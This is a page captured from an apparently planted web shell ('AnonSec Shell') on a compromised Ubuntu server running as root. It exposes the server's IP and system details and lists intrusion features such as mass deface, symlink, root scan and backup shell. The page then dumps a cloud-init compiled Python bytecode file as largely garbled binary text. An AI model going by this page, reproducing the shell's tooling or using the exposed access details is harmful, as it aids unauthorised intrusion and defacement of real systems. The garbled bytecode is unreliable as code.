AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cloudinit/net/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/cloudinit/net/__pycache__/eni.cpython-310.pyc
o

x[h�S�@s�ddlZddlZddlZddlZddlZddlmZddlmZddl	m
Z
mZmZddl
mZmZmZddlmZe�e�Zgd�Zgd�Zgd	�Zd
d�Zdd
�Zddd�Zdd�Ze
�d�dd��Zdd�ZGdd�dej �Z ddd�Z!dS)�N)�suppress)�Optional)�performance�subp�util)�ParserError�renderer�subnet_is_ipv6)�NetworkState)zpre-up�upzpost-up�downzpre-downz	post-down)�
bridge_ageing�bridge_bridgeprio�	bridge_fd�
bridge_gcinit�bridge_hello�
bridge_maxage�bridge_maxwait�
bridge_stp)�address�netmask�	broadcast�network�metric�gateway�pointtopoint�media�mtu�hostname�
leasehours�	leasetime�vendor�client�bootfile�server�hwaddr�provider�frame�netnum�endpoint�local�ttlcCs�g}gd�}|��D]:\}}|dkrq
|dkr!d|d|df}|rD||vrDt|t�r1d�|�}d|vr;|�dd�}|�d	�||��q
t|�S)
N)
rrrrr�pointopointr�scope�
dns_search�dns_nameserversrrz%s/%s�prefix� �_�-�    {0} {1})�items�
isinstance�list�join�replace�append�format�sorted)�iface�subnet�content�	valid_map�key�value�rC�3/usr/lib/python3/dist-packages/cloudinit/net/eni.py�_iface_add_subnetAs

�rEc

Cs|dkrgSg}gd�}gd�}ddi}|ddvr|�d�|��D][\}}t|t�r4||r2dnd	}|r:||vr;q#|d
krP|rP||krOt�d|d||�q#||vrg|D]}	|�d
�|�||�|	��qVq#t|t�rqd�	|�}|�d
�|�||�|��q#t
|�S)Nr)	�control�	device_id�driver�index�inet�mode�name�subnets�type)�bridge_pathcost�bridge_portprio�bridge_waitport�mac_address�	hwaddressrN)�bond�bridge�
infiniband�vlan�on�offrzZNetwork config: ignoring %s device-level mtu:%s because ipv4 subnet-level mtu:%s provided.rLr4r1)r:r5r6�bool�LOG�warningr;�getr7r8r<)
r=rI�ipv4_subnet_mtur?�
ignore_map�multiline_keys�renamesrArB�vrCrCrD�_iface_add_attrs_s<

�

rcFcCs�|d}|d}|dkrd}n
|dvrd|}nd|}|��}|�||d��djdi|��d	jdi|��g}|rJ|�d
�rJ|�djdi|���|S)
NrLrF�auto)�hotplugzallow-z
# control-)�fullname�cverbz{cverb} {fullname}ziface {fullname} {inet} {mode}rRz    hwaddress {mac_address}rC)�copy�updater;r]r:)r=rI�render_hwaddressrfrFrg�subst�linesrCrCrD�_iface_start_entry�s
�rmc
s<d}|��D�]}|��}|�d�rq|�d�}|d}|dkrd|d}|�d�s0tj�||�}t�|�D]-�t���}	�fdd	�|	D�}	|	D]}
t	�
|
���}tj�|
�}t||tj�
|�|�qGq5q|d
kr�|d}
|
�d�sxtj�||
�}
t�|
�D].�t�d��}|����}Wd�n1s�wYtj���}t||tj�
|�|�q}q|dkr�|dd�D]}||vr�d
|i||<d||d<q�q|dk�r|dd�\}}}||vr�d
|i||<nd||vr�td||f��|||d<|||d<|}q|dk�r|ddk�r|d}n|d}|||d<q|tv�r+|d|||<q|tv�rN|||v�r=g|||<|||�d�|dd���q|�d��r�d||v�rai||d<|dk�r�g||dd<|dd�D]}||dd�|��qtq|dk�r�g||dd<|dd�D]}||dd�|��q�q|�d��rbd||v�r�i||d<|tv�r�|�ddd�}|d||d|<q|d k�r�g||dd!<|dd�D]}||dd!�|��q�q|d"k�r|d��d#k�r
|d||dd#<q|d||dd#<q|d$k�r=d%||dv�r.i||dd%<|d||dd%|d<q|d&k�rad'||dv�rSi||dd'<|d||dd'|d<q|�d(��r�d)||v�rui||d)<|�d(dd�}|d||d)|<q|��D]}d||v�r�d*||d<�q�dS)+a~Parses the file contents, placing result into ifaces.

    '_source_path' is added to every dictionary entry to define which file
    the configuration information came from.

    :param ifaces: interface dictionary
    :param contents: contents of interfaces file
    :param src_dir: directory interfaces file was located
    :param src_path: file path the `contents` was read
    N�#r1rzsource-directory��/cs@g|]}tj�tj��|��rt�d|�durtj��|��qS)z^[a-zA-Z0-9_-]+$N)�os�path�isfiler8�re�match)�.0rr��
expanded_pathrCrD�
<listcomp>�s��z*_parse_deb_config_data.<locals>.<listcomp>�source�rrd�_source_pathTr=��familyz:Interface %s can only be defined once. Re-defined in '%s'.�methodrS�ether�zdns-�dnsz
dns-search�searchzdns-nameservers�nameservers�bridge_rU��bridge_ports�ports�	bridge_hw�macrO�pathcostrP�portpriozbond-rTF)�
splitlines�strip�
startswith�splitrqrrr8�glob�listdirr�load_text_file�abspath�_parse_deb_config_data�dirname�open�readr�NET_CONFIG_OPTIONS�NET_CONFIG_COMMANDSr:�NET_CONFIG_BRIDGE_OPTIONSr9�lower�keys)�ifaces�contents�src_dir�src_path�currif�liner��option�parsed_src_dir�dir_contents�entry�src_data�	abs_entry�new_src_path�fp�abs_pathr=r~r�val�domainr$�
bridge_option�bond_optionrCrwrDr��s�




����
�����

���



"
�
�

�


����r�zConverting eni datacCsi}t||ddd�t|�S)z=Return a network config representation of what is in eni_dataN)r�r�)r��_ifaces_to_net_config_data)�eni_datar�rCrCrD�convert_eni_data7sr�cs4i�|��D]�\}}|�d�d}|�vr2|dkrd}nd}||gd��|<d|vr2|d�|d<||d	d
�}|�d�rCd|d<nd
|d<|�d	�dkrT|d|d<dD]}||vrb||||<qVd|vr�dD]}||dvr�|d|r�|d||d|<qi�|d�|�qd�fdd�t��D�d�S)z�Return network config that represents the ifaces data provided.
    ifaces = _parse_deb_config_data(...)
    config = ifaces_to_net_config_data(ifaces)
    state = parse_net_config_data(config).�:r�lo�loopback�physical)rNrLrMrSrRr)�_orig_eni_namerNrdrF�manual�staticr)rrrr�)r�r��dns_rMrocsg|]}�|�qSrCrC)rv�d��devsrCrDrye�z._ifaces_to_net_config_data.<locals>.<listcomp>)�version�config)r5�	partitionr]r:r<)r�rL�data�devname�dtyper>�copy_key�nrCr�rDr�?s6

��r�c@sXeZdZdZddd�Zddd�Zdd	d
�Zddd�Z		dd
ede	e
ddfdd�ZdS)�Rendererz@Renders network information in a /etc/network/interfaces format.NcCs6|si}|�dd�|_|�dd�|_|�dd�|_dS)N�eni_path�etc/network/interfaces�
eni_header�
netrules_pathz(etc/udev/rules.d/70-persistent-net.rules)r]r�r�r�)�selfr�rCrCrD�__init__ks
�zRenderer.__init__r�cCsHg}|d}|d}d}ddd�}d}|dd	kr"|d
d	kr"d}n|ddkr0|d
dkr0d}d}	dD][}
|r=|
dkr=q4|
dkrO|	d|||
||
f7}	q4|
|vr�|
dkr�d||
vrb|	d7}	n|�d
�dkrn|	d7}	n|	d7}	d
|vr�|	d||
|d
f7}	q4|	d||
||
f7}	q4|�||	|�|�||	|�|S)a�When rendering routes for an iface, in some cases applying a route
        may result in the route command returning non-zero which produces
        some confusing output for users manually using ifup/ifdown[1].  To
        that end, we will optionally include an '|| true' postfix to each
        route line allowing users to work with ifup/ifdown without using
        --force option.

        We may at somepoint not want to emit this additional postfix, and
        add a 'strict' flag to this function.  When called with strict=True,
        then we will not append the postfix.

        1. http://askubuntu.com/questions/168033/
                 how-to-set-static-routes-in-ubuntu-server
        zpost-up route addzpre-down route delz || true�gwr)rrr�rz0.0.0.0rz defaultz::r0rz -A inet6 default)rrrrz%s %s %sr�z	 -A inet6� z -hostz -netz %s/%sz %s %s)r]r:)r��route�indentr?rr�or_true�mapping�
default_gw�
route_line�krCrCrD�
_render_routetsB�

��zRenderer._render_routeFc
s`t����tt��
��d�Wd�n1swYg}��di�}��dd�}��dd�}|r8d�d<|r�t|�D]�\}}d}	|�d<|d�d	<|�d
d��d
<d}
t|�ra|
d
7}
n|�d�}	|
�d<|ddks||ddks||ddkr�d�d	<|dur�|r�dnd�d<n2|ddkr�d�d	<d�d<n#|ddkr�d�d	<d�d<nt|�r�d�d	<|dur�|r�dnd�d<d�fdd�|D�vr�d�d
<tt	�||d�t
�|�t�||	��}|�dg�D]}|�|j
|dd ��q�|�|�q>|Sg}d!�v�s	d"�v�r|�d#jd'i����|�d$jd'i����|�t�d%dd&��|�|�|S)(N�	config_idrMz	accept-ra�	wakeonlan�gzethernet-wolrIrNrKrFrdrJ�6r�dhcp4�dhcp6zipv6_dhcpv6-stateful�dhcp�1�0�	accept_razipv6_dhcpv6-stateless�
ipv6_slaacr�Tcsg|]
}d�d|v�qS)zauto %srLrC)rvr��r=rCrDry�s�z*Renderer._render_iface.<locals>.<listcomp>�alias�rj�routesz    )r�zbond-masterzbond-slaveszauto {name}ziface {name} {inet} {mode}r)rIr^rC)rh�deepcopyr�KeyError�popr]�	enumerater	r7rmrErc�extendr�r:r;)
r�r=rj�sectionsrMr��ethernet_wolrIr>r^�subnet_inetrlr�rCr�rD�
_render_iface�s�

�

�

���
����
zRenderer._render_ifacec	sdddddd�gd�}|��D]}|�d�dkrt�|�}q|j}|r.d	�|�|d
dd<|j}|r>d	�|�|d
dd
<ddddddd��g}|�|�|��t	|���fdd�d�D]}|�d�dkrgq]|�|j||d��q]|�
�D]
}|�|�|��qvd�dd�|D��dS)z1Given state, emit etc/network/interfaces content.r�r�rJr�rd)rNrF)rLrNrJrMrLr1rMrr/r.ror��r}�)r�r�rVrTrUrWcs�|d|dfS)NrNrLrC)r���orderrCrD�<lambda> r�z-Renderer._render_interfaces.<locals>.<lambda>)rAr�z

cSsg|]}d�|��qS)�
)r8)rv�srCrCrDry,sz/Renderer._render_interfaces.<locals>.<listcomp>r�)
�iter_interfacesr]rhr�r/r8�dns_searchdomainsr�r�r<�iter_routesr:r�)	r��
network_staterjr�r=r��
searchdomainsr�r�rCr�rD�_render_interfaces�sH
�
��	

��zRenderer._render_interfacesr��	templates�returncCs�t�||j�}t�tj�|��|jr|jnd}t�	|||�
|��|jrCt�||j�}t�tj�|��tj	||�|�dd�dSdS)Nr�T)r?�
preserve_mode)
r�target_pathr�r�
ensure_dirrqrrr�r��
write_filer�r��_render_persistent_net)r�r�r��target�fpeni�header�netrulesrCrCrD�render_network_state.s
��zRenderer.render_network_state�N)r��F)NN)�__name__�
__module__�__qualname__�__doc__r�r�r�r�r
r�dictr	rCrCrCrDr�hs

	
4
R7����r�cCsPgd�}ddg}|D]
}tj|||d�sdSq
t�|d�}tj�|�s&dSdS)N)�ifquery�ifup�ifdownz/sbinz	/usr/sbin)r�rFr�T)r�whichrrqrrrs)r�expectedr��p�enirCrCrD�	availableCs�rrr
)"rhr��loggingrqrt�
contextlibr�typingr�	cloudinitrrr�
cloudinit.netrrr	�cloudinit.net.network_stater
�	getLoggerrr[r�r�r�rErcrmr��timedr�r�r�rrCrCrCrD�<module>s2
	
<
)\

Anon7 - 2022
AnonSec Team